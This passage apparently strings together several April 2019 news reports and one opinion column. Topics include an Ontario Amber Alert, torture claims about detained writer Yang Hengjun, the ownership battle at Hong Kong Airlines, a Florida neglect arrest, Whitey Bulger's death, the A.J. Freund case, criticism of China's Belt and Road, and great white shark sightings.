Toyota Matrix with Ontario plate 379 WTM. According to CBC, police believe the pair may have been headed for London, Ontario. They were last seen together in the Cawthra Road and Atwater Avenue area of Mississauga on Wednesday between 3:00 p.m. and 4:00 p.m, according to a tweet by the Peel Regional Police. Update: Ethan and Juliet were last seen in the area of Cawthra Rd and Atwater Ave in #Mississauga between 3pm 4pm. Peel Regional Police (@PeelPoliceMedia) April 25, 2019 The boy is described as 3-foot, 41-pounds with brown eyes, black short hair, light brown skin, and wearing batman pyjamas. Mohammed is described as 5-foot, 130-pounds with brown eyes, glasses, brown skin, black hair, and wearing a blue shirt, black leggings, black boots with a fur trim, and a brown jacket. Police ask that anyone who sees them call 9-1-1. Yang Hengjun, author and former Chinese diplomat, who is now an Australian citizen, displays a name tag in an unspecified location in Tibet, China, mid-July, 2014. (Reuters) Family, Friends of Australian Citizen Arrested by Chinese Regime Fear He Is Being Tortured A Chinese-Australian novelist and Australian citizen detained in China for endangering state security says he is being tortured by the communist regime. Yang Hengjun, 53, has reportedly been in residential detention since he was intercepted by Chinese authorities in Guangzhou while traveling between New York and Shanghai on Jan. 19. He was then transferred to Beijing where he is currently believed to be held in an undisclosed location. The Australian Consulate has regularly visited Yang since the federal government protested against the Chinese Communist Partys (CCPs) initial refusal to allow consular access to him. A former Chinese diplomat, Yang is known for his writings promoting issues that the regime considers to be sensitive like the democratisation of China, as well as freedom, human rights, and the rule of law and justice. Yangs supporters told Australian media that he struggles to walk properly because he was tortured, interrogated, and systematically sleep deprived to force him to make confessions against his will. University of Technology, Sydney, academic Dr. Feng Chongyi told News Limited that Yang was only allowed to sleep for four hours a night for three days in a row, and he has to sit on a chair from early in the morning until midnight with short breaks every now and then when he is allowed to walk around his windowless room that always has the lights on. NEW: Dramatic developments in the Yang Hengjun case with supporters believing he has been tortured, interrogated & systematically sleep deprived. Supporters say Yang is now having trouble walking. https://t.co/mt0XeLdJ1f Primrose Riordan (@primroseriordan) April 24, 2019 Feng said that Yang was being interrogated for several hours each day and is under constant surveillance. The torture has taken its toll and the confinement in a room without exposure to sunshine is taking its toll, Feng said. Feng also said that Yang was losing weight, limping, and feeling dizzy. [Yang] has become weaker when walking. Feng said that a doctor has administered an unknown drug for Yangs blood pressure condition. After another consular visit this week, supporters of Mr Yang Hangjun said he is struggling to walk properly and now believe he has been tortured, interrogated and systematically sleep deprived. https://t.co/e5jpPNqvqL Frances Eve (@FrancesEveCHRD) April 24, 2019 The allegations come weeks after Yang apologized for not disclosing that the Chinese authorities had previously arrested him in March 2011. In a secret letter that he left with Feng, who he instructed to release if he was detained again, Yang asked supporters to not place themselves at risk to free him but just to continue with his work. Maintain belief in Chinas democratic future and, when it doesnt put yourself or your family at risk, to use all your means to push Chinas democratic development to happen sooner, Yang said in the letter that was released online on Jan. 28, just days after he was detained at Guangzhou airport. Related Coverage Australian Writer Admits He Lied About Previous Detention in China, Begs for Forgiveness The letters release sparked fears among some Chinese dissidents and critics of the CCP that Yang may actually be a spy working for the regime, especially because after Yang was released in 2011, he told those who were concerned about him that he had not been detained and his mobile phone was just turned off. This has much to do with the Chinese media, because the democracy activists around the world still publish rumours that in 2011 he was not taken away or he actually is a communist spy and went back to China to arrange a new job or got that money to go back again in order to strengthen his position in overseas Chinese secret service, Feng told The Australian. Yang defends his decision not to speak about his detention because he would not be able to return to China and keep writing about democratisation using his own money. He called any allegation he was a spy as lies and fabrications and he asked his supporters not to believe them. Feng believes the CCP is trying to ask Yang to sign a written confession that can be used in a lawsuit against him. They will usually prepare a long confession for a suspect to sign for a later indictment. If they dont get the confession, they will keep going with the interrogation, Feng said. Yangs wife, Yuan Xiaoliang, is in Shanghai and is urging the Australian government to do more to help free her husband. However, the Australian Department of Foreign Affairs and Trade (DFAT) does not appear to be demanding that the federal government publicly request Yangs immediate release. Government sources told News Limited that since the secretive Chinese Ministry of State Security is involved, DFAT feels it would be better to keep the discussions behind closed doors. Feng believes this is a false view as public pressure is more likely to ensure Yangs speedy release. The Australian government must make a strong statement to protect its citizens against torture and (against) the political persecution of an innocent Australian citizen and demand his immediate release, he said. Australian writer Yang Hangjun tortured in Chinese custody say his supporters. What is the Australian govt doing to secure his release? https://t.co/pLg8UBjBTq Sally Neighbour (@neighbour_s) April 25, 2019 The Ministry of State Security rejected Yangs second bail application on April 16, including a request for the accused to serve out his time at home, according to News Limited. Lawyer Mo Shaoping, who is known for handling sensitive cases, has been chosen by Yangs family members to work oh his case, but Mo has yet to be allowed to meet Yang in-person. Australian Finds Weird-looking Sushi-Spider on Stairs A picture of a colorful spider left internet users baffled, horrified, and reaching for the animal encyclopedia after a man stumbled on the weird-looking creature on the stairs of his Sydney home. William Williamson posted a picture to a community Facebook group, according to the Daily Mail, hoping for help identifying the creature. The spider, with its green blotches and salmon-pink flecks on a white background, was quickly dubbed the sushi-spider by some commenters. Time to burn the house down Posted by Daily Mail on Thursday, April 25, 2019 Time to burn the house down, wrote one commenter. Another added, At first glance, I thought this was a piece of sushi. Is this what Easter bunny or dog spat out? Yuk, another person wrote, reported News.com.au. According to the news outlet the spider was eventually identified as a Magnificent Spider. The female magnificent spider is very distinctive in its markings, according to the Australian Museum website. It is white with two bright yellow knobs on its abdomen, and a number of salmon-colored spots and blotches as well. The body and limbs are covered with long fine hairs, especially the forelegs. They are not dangerousand they dont spin webs to catch their prey. The females can grow up to 2.5 cm (one inch) in length, but the males only reach a tiny fraction of that size: around 1.4 mm (0.05 inches) The magnificent spider is one of three species of bolas spider. The name is taken from a South American throwing weapon made of rope and weightsthe bolasand refers to the way they lure prey with a sticky globule on the end of a line of silk. This sticky silk globule may contain pheromones that mimic the scent of a certain female noctuid moth species, attracting unwary male moths within range, according to the museum. The spider senses the vibrations of moths wings and twirls the thread as the moth approaches. The moth eventually flutters close enough to be hit by and become stuck to the globule. The spider then pulls up the strand, bites and immobilizes the moth, and either eats it straight away or stores it for later, wrapped in silk. Bolas spiders are so sensitive to vibrations that they can be coaxed into twirling their snare by plucking guitar strings. But whereas bolas spiders hunt moths, the larger invertebrates can even take on mammals. Earlier this year, footage emerged of tarantula the size of a dinner plate dragging a young opossum across the leaf-littered floor of the Amazon jungle. The grizzly encounter, documented for the first time, featured in a journal article that showcases attacks on small mammals by arthropodsmostly spiderswitnessed by zoologists in the Peruvian jungle. A couple of times a year, biologists from the University of Michigan take a trip to Peru to study predator-prey interactions, often at night, when the ambush predators come to life. One night, researcher Michael Grundler heard some scrabbling in the leaf litter. We looked over and we saw a large tarantula on top of an opossum, said Grundler, a co-author of the paper in a statement. The opossum had already been grasped by the tarantula and was still struggling weakly at that point, but after about 30 seconds it stopped kicking. Grundlers sister Maggie pulled out her cellphone and shot photos and some video. The encounter was one of the cases featured in an article published in Amphibian & Reptile Conservation. The tarantula was the size of a dinner plate, and the young mouse opossum was about the size of a softball, according to a university statement. Battle for Hong Kong Airlines Highlights Financial Trouble, Disputes at HNA Holdings HONG KONGShareholders summoned by Hong Kong Airlines this month for a meeting were greeted with some shocking news: The airline needed at least HK$2 billion in fresh funds or it would lose its operating license. The carrier had lost HK$3 billion ($382.54 million) in 2018, they were told, and an infusion was crucial, according to people present. Dialed in, but silent for the hour-long meeting on April 1, were executives for Hainan-based HNA Group,, which holds 29 percent of the airlines shares. Investors were blunt about HNAs role in the companys troubles, according to people at the meetingincluding accusations that it was siphoning off cash, which the conglomerate denies. Theres no point raising fresh capital if we cannot solve the problem of (a) major shareholder pumping out HKAs assets, said Zhong Guosong, who holds 27 percent of the shares and is vying for chairmanship of the company. Another shareholder echoed his views: This is Hong Kong, not Hainan. In the last week, drama from the call has spilled into the open as HNA and a rival group battled for control of Hong Kong Airlines chairmanship. The airline declined to comment on shareholders activities and said its operations remain normal. The infighting illustrates the convoluted nature of HNAs holdings around the world, which range from real estate to banks and are often divided among opaque, related entities. On paper, HNA gave up control of Hong Kong Airlines two years ago just as it began selling off assets collected in a $50 billion worldwide acquisition spree. But the carrier has close ties with several HNA affiliates. HNAs shareholding structure and how they structure investments has always been very complicated, and the HKA case isnt any different, said David Yu, adjunct professor of finance at New York University, Shanghai. The issue now is that there is some distress at the parent group, and this is obviously having implications on the underlying companies, including HKA. HNA Tangle Since Beijing in 2017 began cracking down on Chinese conglomerates rapid debt-fueled global expansions, HNA has sold about $26 billion in assets, according to Dealogic data and Reuters calculations. Disposals include control of the Radisson hotel group; a quarter stake in Hilton Hotels; prime property in New York, Sydney, Shanghai, San Francisco and Hong Kong; regional Chinese airlines; a stake in aircraft lessor Avolon; and half of its stake in Deutsche Bank. But the prices HNA has sought and the complex structures, loans and other business links that bind its holdings have made unwinding its investments difficult. HNAs wider Hong Kong interests are a case in point. This week, HNA-controlled CWT International said lenders had seized assets, including U.S. property and its Singapore-based commodity trading and logistics unit, because it failed to repay a HK$1.4 billion ($178 million) loan. HNA said that it was monitoring the situation, but that it was a matter for CWT and its creditors. Yet HNA units own 51 percent of CWTs shares, and each of CWTs executive directors has ties to other HNA businesses. CWTs co-chairman, Mung Kin Keung, is a shareholder in Hong Kong Airlines. HNAs involvement with the airline is just as complicated. The conglomerate took control of CR Airways in 2006 and renamed it Hong Kong Airlines. In July 2017 it cut its stake, according to filings, by selling 34 percent to Chinese private equity group Frontier Investment Partners. According to Hong Kong Airlines 2017 accounts, seen by Reuters, the airline held shares in four unlisted HNA affiliates, worth $367 million at the end of 2017, and had loaned $300 million to two other HNA firms. That year, the airlines trade receivablesmoney owed to it but not collectedjumped 50 percent even as revenue rose only 11 percent. Of those payments due, the amount HNA companies owed the airline more than doubled to HK$1.3 billion, or 73 percent of receivables. Zhong is closely linked with HNA as well, having been a director of the airline for almost four years until August 2018. Since 2017, he has also been chairman of Hong Kong Express, Hong Kong Airlines low-cost sister, which HNA recently agreed to sell to Cathay Pacific for HK$4.93 billion. Cathays announcement of the deal contained a warning that an HK Express shareholder planned to contest it. That shareholder is Zhong, according to two sources with direct knowledge of the issue. They declined to be identified because they were not authorized to speak to the media. In a further sign that the relationship between Zhong and HNA had soured, court papers show that HNA in December sued the company through which Zhong holds his 27 percent stake in the airline, seeking repayment of a HK$854 million debt from 2010. A representative for Zhong did not provide comment. Control Disputes Since the April 1 meeting, Frontier has aligned itself with Zhong, working to appoint him chairman of the airline as part of efforts to seize control and investigate its financial ties with HNA. Late last week, they won an injunction that blocked directors and executives from removing or destroying the airlines documents. That followed a week in which both Zhong and airline executive Hou Weistill listed on its website as chairmanclaimed control and fought over who had access to the companys headquarters. Adding to the confusion, a group called Grand City Investment Capital Limited this week said it owned the Frontier stake after a transfer dated April 11. A spokesman for Grand City declined to discuss his companys ownership. Frontier disputes Grand Citys claim to the stake. Frontier and Zhong have also accused HNA of embezzlement of HKA assets and serious financial misappropriation by HNA Group partiesaccusations that HNA has denied. They and other shareholders are still demanding access to the airlines 2018 accounts and details of how it lost so much money before they address its HK$2 billion capital shortfall. Amid the court orders and competing statements uncertainty remains over who is in chargealthough both sides have gone to lengths to ensure the airline keeps operating normally. There are so many moving parts that corporate control is under dispute because the changes are happening too rapidly for the company to organize coherently, said Andrew Collier, managing director of Orient Capital Research, which focuses on China. He described HNA as a poster child for over expansion of Chinas worst conglomerates. He added: Because there is always a lack of transparency at HNA, this makes it twice as hard to figure out what the nature of the dispute is. By Jennifer Hughes & Julie Zhu Richard Lawrence Goodwin was arrested for allegedly neglecting a 67-year-old bedridden woman at a home in Dunedin, Florida. (Pinellas County Sheriffs Office) Caretaker Arrested After Bedridden Woman, Dogs, Birds Found Living in Squalor Warning: Photos may be distressing to some viewers. A Florida man was arrested after a bedridden 67-year-old woman and multiple animals were found living in a home filled with trash, urine, and feces, according to police. Richard Lawrence Goodwin, 65, of Dunedin was arrested and charged with one count of abuse/neglect of the aged/disabled and two counts cruelty to animals, police said in a statement. Police that it was the second time the man was arrested for similar charges for neglecting the same victim. Deputies arrest Dunedin man for abuse/neglect of an elderly/disabled woman and cruelty to animals. https://t.co/cA0g9pNBmd pic.twitter.com/kwJPcWKdBa Pinellas SO (@SheriffPinellas) April 25, 2019 Along with the elderly woman, authorities found 10 dogs and five large birds living in the residence. Pinellas deputies discovered the horrific scene when conducting a follow-up welfare check on the victim. When they arrived at the property they could smell the odor of rotting trash and animal feces as they walked up to the driveway. Inside, the smell of feces and urine was so overwhelming that deputies had to put on masks. They also found rats running around the home along with cockroaches, ants, spiders, flies, mosquitos and the presence of black colored mold. As they moved around the house, they also noticed animals that appeared neglected. The dogs were all found to be skinny with some being emaciated. Moreover, they also found two puppies living in a plastic bin that was nearly two inches deep with their own feces. Five large Macaw birds were also found loose inside the home. Police said due to the amount of trash, they had to clear a path in order to reach the victims bedroom. They also discovered the state of the house was in disrepair with no working toilets and they were overflowing with feces, police said. Only one sink was working in the house and it was situated on the opposite end from the victims bedroom, close to Goodwins living space. Neighbors who went inside the home a few years ago told Fox 13 that it was terrible that the victim had to live like that. A bedridden woman was found living in filthy conditions with emaciated dogs and several macaws, according to deputies in Posted by FOX 13 News Tampa Bay on Thursday, April 25, 2019 They were hoarders, there was just a path to walk through, neighbor Victoria Muenzerbeer told the news station. I think its terrible that shes had a stroke and shes had to live like that. I went in and it was absolutely, a human being couldnt live there. The kitchen wasnt usable, and part of the wall was falling in, she added. The elderly woman was taken to the local hospital with non-life threatening injuries. The State of Florida Elderly Abuse Hotline was notified of the conditions. All the animals were taken custody by Pinellas County Animals Services and transported to shelters. The police investigation is still continuing. HAMILTON, Bermuda, April 26, 2019 (GLOBE NEWSWIRE) -- Finance Minister Curtis Dickinson will lead a delegation of government, regulatory and industry leaders to next weeks Risk and Insurance Management Society (RIMS) annual conference and exhibition in Boston, with Premier David Burt also joining Team Bermuda later in the week. The prestigious conference, running April 28May 1 this year, attracts 10,000 risk-management professionals, legal, compliance and finance directors, along with other senior executives from over 70 countries across a wide range of sectors. The Bermuda Business Development Agency (BDA) coordinates the islands presence at RIMS, including meetings around the conference with civic and business leaders, a Bermuda networking reception, media interviews, and a trade-floor booth, all highlighting the islands leading global insurance market. Bermudas re/insurance market has a unique legacy that has long been recognised for its innovative solutions and significant contributions to communities around the world, said Minister Dickinson, who will be accompanied by Assistant Financial Secretary Pamela Burrows. This annual event is a platform to showcase everything Bermuda has to offerfrom world-class industry expertise to innovative products to top-tier regulation. We look forward to promoting Bermudas well-established relationships, and making new ones. Joining the government at RIMS 2019 will be numerous representatives of Bermudas insurance industry, the BDA, and the Bermuda Monetary Authority (BMA), including BDA Chair and Willis Bermuda Chair Paul Scope, BDA CEO Andy Burrows, BMA Executive Chair Jeremy Cox, and Association of Bermuda Insurers & Reinsurers (ABIR) President and CEO John Huff. Bermuda will also be boldly represented among 400 exhibitors by its hallmark two-storey Bermuda Booth, #1241, at the Boston Convention & Exhibition Center. The BDA and volunteers from Bermudas global companies will be on hand to answer questions about the jurisdiction and meet with prospective businesses interested in establishing a presence in Bermuda. Bermuda has been a high-profile participant at RIMS for several decades, and were proud to represent the island and our insurance industry once again, said BDA CEO Andy Burrows. RIMS gives Bermudas leading market an excellent platform to showcase our companies, our pool of expertise, and our jurisdiction to relevant audiencesand Boston offers us additional opportunities to connect with corporate decision-makers in other industries as well. Team Bermuda will have a full Monday agenda of media interviews, meetings and a visit to the Boston Options Exchange (BOX). On Tuesday morning, RIMS 2019 President Gloria Brosius and RIMS CEO Mary Roth will officially welcome the Bermuda delegation before it tours the Exhibition Hall, visiting Bermuda companies and affiliate booths; the BDA-hosted Bermuda Reception networking event will also take place that evening. On Wednesday, the Premier and Minister will meet with state and city civic leaders and members of the Greater Boston Chamber of Commerce, and participate in more media interviews. There will be Bermuda promotional giveaways during RIMS 2019, including deluxe accommodation and airfare packages courtesy of the Fairmont Southampton and Hamilton Princess. As in previous years, Bermuda canvas tote bags, distributed at its booth, will also be a popular giveaway item for delegates. MEDIA CONTACT: Rosemary Jones Head of Communications & Marketing rosemary@bda.bm 441 278-6558 441 337-4696 CONNECTING BUSINESS The BDA encourages direct investment and helps companies start up, re-locate or expand their operations in our premier jurisdiction. An independent, public-private partnership, we connect you to industry professionals, regulatory officials, and key contacts in the Bermuda government to assist domicile decisions. Our goal? To make doing business here smooth and beneficial. This June 23, 2011 booking file photo provided by the U.S. Marshals Service shows gangster James "Whitey" Bulger. (AP Photo/ U.S. Marshals Service, File) Cause of Death Revealed for James Whitey Bulger The cause of death for Boston gangster James Whitey Bulger has been revealed: the longtime criminal died last year from blunt force injuries of the head, according to reports. A document from the West Virginia Department of Health detailed how the elderly mob boss died, Fox News reported on April 26. He was found dead at around 8:21 a.m. local time on Oct. 30, 2018. The 89-year-old was injured after being assaulted by other(s), which took place in his prison cell, according to a death certificate. Homicide was the final manner of death, the document added. CNN reported that it took minutes for him to die after he sustained the injuries. Authorities attempted to carry out lifesaving measures to revive Bulger, but they ultimately failed. His death pronouncement came at around 9:04 a.m., CNN reported, citing the document. Bulger was serving life in prison for a slew of crimes, including his role in 11 murders. Before he was arrested in 2011, he had been on the run for 16 years. In November 2013, he was sentenced to two life terms and five years after overseeing a mafia-like criminal organization in Boston. He was later convicted of 31 counts, including racketeering, extortion, money laundering, drug dealing, and other charges. He was also culpable in 11 murders between 1973 until 1985. Until 2011, he was listed as the No. 2 criminal on the FBIs Ten Most Wanted Fugitives List behind al-Qaeda leader Osama bin Laden, who was killed in Pakistan in May of that year. Life of Crime Bulger, more infamously, was also the model for Jack Nicholsons ruthless crime boss in the 2006 Martin Scorsese movie, The Departed, and he led a largely Irish mob that ran loan-sharking, gambling, and drug rackets. He also was an FBI informant who ratted on the New England mob, his gangs main rival, in an era when bringing down the Mafia was a top national priority for the FBI, according to The Associated Press. Bulgers rap sheet started when he was a juvenile, and he spent three years in Alcatraz, the infamous island prison off San Francisco. Patricia Donahues husband, Michael, was killed in 1982 when he offered a ride home to a man allegedly targeted for death by Bulger because he was talking to the FBI. Id like to open up a champagne bottle and celebrate, she told WBZ-TV last year. Tom Duffy, a retired state police detective who searched for Bulger and was a consultant on The Departed, called word of Bulgers death celebratory news. A lawyer who represented Bulger blamed the gangsters death on decisions made by the Bureau of Prisons. He was sentenced to life in prison, but as a result of decisions by the Federal Bureau of Prisons, that sentence has been changed to the death penalty, attorney J.W. Carney Jr. said in a statement last year. The Associated Press contributed to this report. Child Services Called to Dirty Home 17 Times Before A.J. Freund Died: Reports Illinois officials will investigate to see if the Department of Children and Family Services (DCFS) failed to act in the case of A.J. Freund, the 5-year-old boy who was found dead in Woodstock on April 24, according to a report. Before the boy was found several miles away from his home in Crystal Lake, his parents were being investigated by the DCFS, which released a 60-page-long report about how investigators had been in contact with Freunds parents since he was born, CrimeOnline reported. This news is heartbreaking, DCFS acting director Marc Smith stated after the boys body was discovered. The Department is committed to conducting a comprehensive review of the entirety of our work with Andrews family to understand our shortcomings and to be fully transparent with the public on any steps we are taking to address the issues. Major Failures: State investigates after DCFS was called to cluttered, dirty home 17 times before 5-year-old boy A.J. Freund died Posted by Nancy Grace on Thursday, April 25, 2019 Now, his parents Andrew Freund Sr. and JoAnn Cunningham are in prison on battery, murder, and other charges in connection with the childs death. In 2013, A.J. was born was opioids in his system, according to the report. He was taken into custody as an infant shortly after he was born. Lorelei Hughes, Cunninghams mother, voiced concerns to the state of Illinois about Cunningham being able to care for her eldest son, court documents show, reported the Chicago Sun-Times. DCFS staff returned A.J. to his parents in June 2015, officials said. And in 2018, DCFS caseworkers returned to the boys home to investigate neglect allegations, the newspaper reported. CrimeOnline also reported that the state visited the home 17 times before the boy died. [The boy] was not provided food on a regular basis, eating a meal on approximately four of the seven days of the week and a remainder of the time there was no food in the house, a court document read. The child was sent to school daily with no food and no money to purchase a lunchthere was no food in the residence and the child had only marshmallows and water to eat. In December 2018, officers went to the home and saw the house was filthy and in a state of disrepair, according to CrimeOnline. They also reportedly found hazards inside the house that could have injured A.J. and his other brother. Upstairs in the room where the boys slept the window was open and the smell of feces was overwhelming, the report said. The boys were running around the residence playing and I noticed [redacted] was only wearing a pullup and had a large bruise on his right hip. A concerned citizen called local officials several months prior, saying the family had been living without electricity for weeks, according to the Sun-Times. When an officer arrived, Cunningham admitted that it was the case, but she stipulated that she was staying at a motel and other places. Gov. J.B. Pritzker said the case is a tragedy, adding that it could have been prevented. The additional issue here is that theres an individual and an agency that have made gross mistakes, Pritzker said. The investigation thats ongoing now is intended to make transparent what those challenges were and how we should address them. The cityscape of the Beijing Central Business District, or Beijing CBD, is reflected in a pond during sunset on Oct. 17, 2018. (Thomas Peter/Reuters) Chinas New World Order Can Chinas rise to global dominance really be managed by rules and trade agreements? Is a new international order based on Chinas economic and political leadership a good idea? Would it lead to a more free and prosperous world? Thats the recommendation according to business and political experts attending the Credit Suisse Global Supertrends Conference in Singapore this week. They point out that Chinas rise is coinciding with the decline of both European and American global economic and military influence. Therefore, their argument goes, the global community should take this opportunity to both embrace Chinas rise and to re-establish global trade norms. Who Really Believes This? Rules, it is assumed, will keep China from cheating. This is the thinking of people such as former American ambassador to the European Union Anthony Gardner. It is utterly naive at best and at worst, its self-defeating and much more. The so-called experts seem to forget that China has gotten where it is today by breaking all the rules of the international system for the past 40 years. Why stop doing whats worked for decades? By exploiting the openness of Western economies, China has destroyed entire industries in the United States and Europe, leading to trillions of dollars worth of jobs and factories relocating to China as well as massive amounts of technology and IP theft. And now the influencers in international business think China ought to lead the world into forming a new world order? Just what kind of international order do they think would be put in place? In fact, one doesnt have to look very hard to see what a Chinese-led world order would look like. Chinas Neo-Fascist Imperialism Unlike other communist regimes, China has embraced capital formation from a top-down perspective while subsidizing productivity through endless lending cycles and absorbing the most successful ones into state ownership. Rather than adopting the openness of Western economies, it has leveraged its huge market potential and comparative advantage as a low wage manufacturer with relatively few labor or environmental regulations to rapidly grow into an economic and military competitor on the world stage. But instead of trade leading to a more free and open society, as the experts assumed would happen, it had the opposite effect. Chinas newfound power has led the Chinese Communist Party (CCP) to exercise greater exploitation abroad and social repression at home. In other words, the CCP has reinvented Chinawith immense assistance from the Westinto a neo-fascist expansionist power. The signs are there for all to see. Chinas rampant exploitation of the international system and the financial subjugation it imposes on weaker trading partners tells us exactly what a Chinese-led world order would look like. In fact, theyre building that new order right now. For example, take Chinas One Belt One Road Initiative (OBOR, also known as Belt and Road). For all intents and purposes, its a Chinese version of Imperial Japans Greater Co-Prosperity Sphere of the 1930s. The similarities between interwar Japan and China today are striking. In the preceding years of World War II, Japan lacked the necessary raw materials and natural resourcesincluding oilto sustain its economic model. Whats more, its social and political arrangement were based upon worshipping the emperor and antipathy toward the West. To support its expansionist goals and assuage its fear of falling subject to the Western powers, Japan pursued an aggressive colonization policy throughout Southeast Asia. Of course, the benefits were all one-sided. As the de facto emperor of China, Chinese leader Xi Jinping has cultivated much of the same cultural tendencies. More importantly, however, are the effects of Chinas OBOR on its weaker trading partners. But unlike Japan, China invades economically rather than militarily. Although the process varies, the outcomes essentially remain the same. China promises its OBOR partners infrastructure and other economic development and then saddles the countries with debts they cant possibly repay. China then takes ownership of the leveraged assets and ravages the environment of the host country, harvesting the natural resources that it so desperately needs. This is happening in Africa, Asia and South America, a much greater co-prosperity sphere than Imperial Japan could ever have imagined. A Blueprint for Technology Domination The OBOR shows just how China plans to deal with the weaker nations of the world, those without fully developed, technologically advanced economies. But for advanced economies, Chinas new world order plans are spelled out in the Made In China 2025 program. Again, it involves following some of Japans past behavior, this time its adversarial trade strategies from the 1970s and 80s. In a nutshell, the Made In China 2025 program involves the continued theft of advanced technology from Western firms in 10 key verticals. The goal is to reverse the trade flow from west to east by undercutting foreign competition on price, making it tough to compete. The endgame is the destruction of European and American technological industrial bases, leaving China in top position in artificial intelligence, robotics, microprocessors, pharmaceuticals, and other technologies. Treating the World Like Family In other words, in Chinas vision for a new world order, the rest of the world would be treated like family. When Chinas making the rules, therell be no favoritism allowed in the global family of nations. Sounds eminently plausible and full of potential, does it not? Sarcasm aside, its critical to understand that the liberal international order that has brought so much prosperity to the worldincluding Chinais the exception to the rule in the long history of the world. It is Western norms of law and openness, coupled with a degree of magnanimity rarely practiced by the great powers throughout history, that has raised the standard of living in the world. Human rights, free expression, the exchange of ideas and charity are all Western ideals. Flawed in their execution at times, no doubt; but eminently preferable to the guiding principles that the CCP would levy upon the world. Chinas Development Model Unsustainable The most glaring misconception among the experts is that Chinas development model is one for other developing nations to emulate. But the reality is that Chinas modern economy wasnt created by the intellectual brilliance of the CCPfar from it. Left to the ideas of the communists, China would have starved. In fact, it did so for thirty years, leading to the deaths of tens of millions of people. Chinas development is primarily due to the heavy involvement of Western economies in Chinas economy. But even so, Chinas fascist economy is directed by political, not economic considerations, manifested by fraud, graft, waste and widespread pollution. In fact, China has all but destroyed its ability to feed itself and is among the most polluted nations on the planet. This is what drives China outwardits own policies have rendered much of the country a wasteland. All of these are by-products of a corrupt political class that undermines economic efficiency, ecological hygiene and prohibits broad economic and social development. Whats more, Chinas warped economy has been shown to be much less than what it seems, sustained by an embedded falsity of data and a debt level that, at some point, will contribute to its undoing. The irony in the prospect of a Chinese-led new world order is that just as China is rising, so too, it is falling. Even now it struggles to sustain an economy that cannot stand up under its own weight. Is such a nation the ideal and foundation upon which to base a new world order? James Gorrie is a writer based in Texas. He is the author of The China Crisis. Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times. Steve Bannon, former White House strategist, at a conference hosted by the Committee of Present Danger: China about the Chinese Communist Partys unrestricted economic warfare against America in Manhattan, New York, on April 25, 2019. (Cathy He/The Epoch Times) Chinese Regime Waging Economic War With West, US Experts Warn NEW YORKThe Chinese communist regime has been waging an economic war with Western democracies, and U.S. companies, financial services, and regulators need to do more to counter the threat, a group of experts warned on April 25. A recently formed coalition of national security, financial, and human rights experts, called the Committee on the Present Danger: China, held a conference at a Manhattan hotel discussing the Chinese Communist Partys (CCP) unrestricted economic warfare against the United States, highlighting the threat posed by the Chinese regimes economic ascendency, as well as the role U.S. companies and capital have played in fueling its rise. Were at economic war with China [that is] this radical cadre of the CCP, Steve Bannon, former chief strategist for President Donald Trump, told The Epoch Times sister media NTD in an interview after the conference. Right now we have a global financial system, a global economic system, that allows this radical cadre and this totalitarian dictatorship in China to enslave their own people, he added. This situation, Bannon said, was not acceptable. America has got to stop financing it, weve got to start asking hard questions, and corporate America has got to stop supporting it. The speakers pointed out that U.S. pension funds, hedge funds, and stock indexes, such as the MSCI Emerging Market Index, finance an array of Chinese companies that pose national security concerns or are human rights abusers. Roger Robinson, former member of the National Security Council under the Reagan administration and current chairman of the think-tank Prague Security Studies Institute, pointed to the example of Hikvision, Chinas leading manufacturer of surveillance cameras. Hikvision has collaborated deeply with Beijing to develop artificial intelligence-enhanced technology for monitoring its citizens, including in the northwestern region of Xinjiang where the U.S. State Department and United Nations experts estimate that more than 1 million Uyghurs and other Muslim minorities are currently being held within internment camps. Human rights abuses by companiesdirectly or indirectlythat are publicly traded, that are in investment portfolios, represent a material, even asymmetric, risk to share value and corporate reputation, he said in an interview with NTD. Currently, these kinds of risks are not disclosed to the investor community prior to investment decisions being made. Therefore, Robinson and others from the conference called on the Securities and Exchange Commission to step in and require Chinese companies to disclose affiliation to the Chinese regime and other financial information. We need more transparency about how peoples pension fund money is financing the Chinese regime, Bannon said. The experts also called out Chinas One Belt, One Road (OBOR) initiative and its Made in China 2025 industrial plan as policies designed to supplant U.S. economic dominance. The former is the regimes flagship foreign policy plan to build up geopolitical influence via infrastructure investments across Southeast Asia, Africa, and Europe. The latter is a domestic policy aimed to build the country into a high-tech superpower by the year 2025 through the development of fields including AI and robotics. David Goldman, financial executive and columnist for the Asia Times, said the purpose of OBOR was to give the Chinese regime a source of surplus labor via other countries, as its domestic population is rapidly aging. Chinese telecom giant Huawei is a key OBOR participant, setting up telecommunications infrastructure networks. Goldman raised the concern that this could lead to Chinese companies flooding the market with its goods and services. Thus, in countries that sign up to the initiative, eventually all will be workers for Chinese commercialization, Goldman said. He said that the United States, in concert with allies such as Japan and South Korea, should develop and offer to countries an alternative to OBOR. Gordon Chang, China expert and author of the book The Coming Collapse of China, highlighted that the regime steals an estimated $150 billion to $600 billion of U.S. intellectual property each year. Whatever [the amount is], it is too much, Chang said. We have an innovation-based economy. If we cant commercialize our innovation, we do not have an economy of the future. He said that U.S. companies needed to disengage with China to ensure their intellectual property is protected. Close Encounter With Great White Shark Caught on Camera in Florida A commercial fisherman and his girlfriend saw a large great white shark lunging from the water to get a bait bag near the Florida Keys. The shark was estimated to be about 15 feet in length, according to the Miami Herald. Oh my God, Suzy Grumbo, the girlfriend of Carter Bates, can be heard in the video. The big shark emerged near Summerland Key on April 23 to get a taste of what was inside Batess chum bag while Grumbo filmed it. As of April 26, it had about 200,000 views on Facebook. Ive certainly never seen anything like this before, she told the Miami Herald. Yeah, it was definitely the most humbling experience I think Ive ever come across, she added to NBC Miami. Its like going from this small town girl to the girl with the great white shark, you know? Wow! A great white shark made a rare appearance in the Keys, taking a few bites from a fishermans chum bag. Read more: https://hrld.us/2UBMVxb Posted by Miami Herald on Wednesday, April 24, 2019 Bates said he worked as a commercial fisherman for about 10 years, and he added to the paper that he was fishing for yellowtail snapper. The great white, he said, was circling their vessel for about three hours before it bit the chum bag. Bates noted that the large fish didnt want the snapper that they had caught. It only wanted the chum block, the Herald quoted him as saying. When its there, right there, its like yeah, a little intimidating, but at the same time amazing because thats a creature Ill probably never ever see again, Bates also told NBC Miami of the animal. Preserved Great White Gets a New Home A preserved 4,000-pound great white shark that was suspended in fluids inside an abandoned Australian wildlife park found a new home in February of this year. 'Rosie has had an amazing journey' Posted by Daily Mail on Thursday, February 21, 2019 The shark, which was called Rosie, was discovered by urban explorer Luke McPherson, or Lukie Mc, who posted images and a video of the animal on social media. He found it inside the Wildlife Wonderland Park in Bass, south of Melbourne. His video of the finding went viral on YouTube. After images of the shark were shared en masse on social media platforms, some people called for it to be moved to safety. According to the 